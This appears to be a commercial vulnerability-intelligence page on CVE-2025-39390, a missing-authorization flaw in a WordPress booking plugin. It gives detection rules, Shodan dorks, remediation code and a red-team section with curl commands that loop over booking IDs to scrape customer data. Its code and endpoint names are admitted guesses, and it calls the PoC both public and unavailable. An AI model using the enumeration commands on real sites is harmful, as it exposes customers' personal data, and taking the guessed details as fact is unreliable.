☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Magepeopleteam logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-39390

CVE-2025-39390 Missing Authorization in Magepeopleteam
📅 PUBLISHED: 2025-04-24 16:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-39390 is a Missing Authorization vulnerability in the Booking and Rental Manager for WooCommerce WordPress plugin by Magepeopleteam. This flaw allows unauthenticated attackers to access functionality that should be constrained by Access Control Lists (ACLs). The vulnerability affects all versions up to and including 2.3.6. With a CVSS score of 5.3 (Medium), the primary impact is unauthorized access to sensitive booking and rental data, potentially leading to information disclosure. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or any other web server software. The issue lies entirely within the plugin’s PHP code, which fails to enforce proper authorization checks on certain AJAX actions or REST endpoints.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No victim action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited information disclosure.
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements and the potential for data leakage (e.g., customer bookings, rental details) elevate the risk for sites handling sensitive user data.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the plugin’s AJAX handlers or REST API endpoints. In WordPress plugins, functions like wp_ajax_* and wp_ajax_nopriv_* are used to handle authenticated and unauthenticated requests respectively. The Booking and Rental Manager plugin likely registers actions without verifying user capabilities (e.g., manage_options, edit_posts), allowing any unauthenticated visitor to trigger privileged operations.

Root Cause: The plugin fails to call current_user_can() or wp_verify_nonce() before executing sensitive functions. This allows attackers to directly invoke endpoints that retrieve booking data, modify settings, or access rental inventory.

Attack Vector: An attacker sends crafted HTTP requests to the WordPress site, targeting the plugin’s AJAX endpoints (e.g., /wp-admin/admin-ajax.php?action=booking_manager_get_data). Without proper ACLs, the server processes the request and returns sensitive information.

Impact: Unauthorized access to:

  • Customer booking details (names, emails, phone numbers)
  • Rental inventory and pricing
  • Admin configuration data
  • Potentially, the ability to create or modify bookings without authentication

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common WordPress authorization patterns.

Vulnerable Code (<= 2.3.6):

add_action('wp_ajax_nopriv_booking_manager_get_data', 'booking_manager_get_data');
function booking_manager_get_data() {
    // No capability check
    $booking_id = $_GET['booking_id'];
    global $wpdb;
    $result = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}booking_data WHERE id = $booking_id");
    echo json_encode($result);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_nopriv_booking_manager_get_data', 'booking_manager_get_data');
function booking_manager_get_data() {
    // Authorization check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // Nonce verification
    if (!wp_verify_nonce($_GET['_wpnonce'], 'booking_manager_nonce')) {
        wp_die('Invalid nonce', 403);
    }
    $booking_id = intval($_GET['booking_id']);
    global $wpdb;
    $result = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}booking_data WHERE id = %d", $booking_id));
    echo json_encode($result);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Target WordPress site with Booking and Rental Manager <= 2.3.6 installed and activated.
  • Network access to the site.

Exploitation Steps:

  1. Identify the vulnerable AJAX action. Common actions include booking_manager_get_data, booking_manager_update_booking, or booking_manager_get_calendar.
  2. Send a crafted request using curl:
    curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=booking_manager_get_data&booking_id=1"
    
  3. If successful, the server returns JSON data containing booking details.
  4. For data exfiltration, iterate through IDs:
    for i in {1..100}; do curl -s "http://target.com/wp-admin/admin-ajax.php?action=booking_manager_get_data&booking_id=$i"; done
    

Expected Output:

{"id":"1","customer_name":"John Doe","customer_email":"john@example.com","booking_date":"2025-06-01","rental_item":"Beach House"}

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual AJAX requests to /wp-admin/admin-ajax.php with unknown or suspicious actions.
  • Look for requests without a valid nonce parameter (_wpnonce).
  • Alert on repeated requests to the same endpoint with sequential IDs (indicating data scraping).

Hardening:

  • Disable the plugin until a patch is available.
  • Implement a Web Application Firewall (WAF) rule to block requests to known vulnerable actions.
  • Add custom code to enforce authorization:
    add_action('init', function() {
        if (isset($_GET['action']) && strpos($_GET['action'], 'booking_manager') !== false) {
            if (!current_user_can('manage_options')) {
                wp_die('Access denied', 403);
            }
        }
    });
    

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /wp-admin/admin-ajax.php with action parameter containing booking_manager_*.
    • Repeated GET requests with sequential booking_id parameters.
    • User-Agent strings not matching typical browser patterns (e.g., curl/7.x, python-requests/2.x).
  • File IOCs:

    • Unusual entries in WordPress debug log (/wp-content/debug.log) showing booking_manager_* actions.
    • Modified plugin files (check file integrity via MD5 hashes).
  • Log IOCs:

    • Apache/Nginx access logs showing multiple 200 responses to /wp-admin/admin-ajax.php with action=booking_manager_*.
    • PHP error logs indicating missing nonce or capability checks.

Detection Engineering

YARA Rule

rule CVE_2025_39390_Booking_Rental_Manager {
    meta:
        description = "Detects vulnerable Booking and Rental Manager plugin files"
        author = "Valters IT"
        date = "2025-06-01"
        cve = "CVE-2025-39390"
    strings:
        $vuln_func = "wp_ajax_nopriv_booking_manager_" nocase
        $no_auth = "current_user_can" nocase
        $no_nonce = "wp_verify_nonce" nocase
    condition:
        $vuln_func and not ($no_auth or $no_nonce)
}

Sigma Rule

title: CVE-2025-39390 - Missing Authorization in Booking and Rental Manager
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts against missing authorization vulnerability in Booking and Rental Manager for WooCommerce
author: Valters IT
date: 2025-06-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "action=booking_manager_"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-39390 - Booking and Rental Manager Missing Authorization Exploit";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=booking_manager_";
    http_uri;
    pcre:"/booking_manager_(get_data|update_booking|get_calendar)/Ri";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released by Magepeopleteam.
  2. Implement a WAF rule to block requests containing action=booking_manager_ in the query string.
  3. Audit access logs for signs of exploitation (repeated AJAX requests with booking_manager_* actions).

Long-Term Fix:

  • Apply the official patch once available (monitor the plugin’s changelog at wordpress.org/plugins/booking-and-rental-manager-for-woocommerce).
  • If you are a developer, add authorization checks to all AJAX handlers:
    if (!current_user_can('manage_options') || !wp_verify_nonce($_REQUEST['_wpnonce'], 'booking_manager_nonce')) {
        wp_die('Unauthorized', 403);
    }
    
  • Regularly update all WordPress plugins and themes.

Workaround (if plugin cannot be disabled):

  • Use a plugin like "Code Snippets" to add a custom function that blocks unauthenticated access to booking_manager_* actions:
    add_action('init', function() {
        if (defined('DOING_AJAX') && DOING_AJAX) {
            if (isset($_REQUEST['action']) && strpos($_REQUEST['action'], 'booking_manager_') === 0) {
                if (!is_user_logged_in() || !current_user_can('manage_options')) {
                    wp_die('Access denied', 403);
                }
            }
        }
    });
    

Valters IT
Securing WordPress Ecosystems | DevSecOps & Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Booking and Rental Manager"
http.html:"booking-and-rental-manager-for-woocommerce"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-39390/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.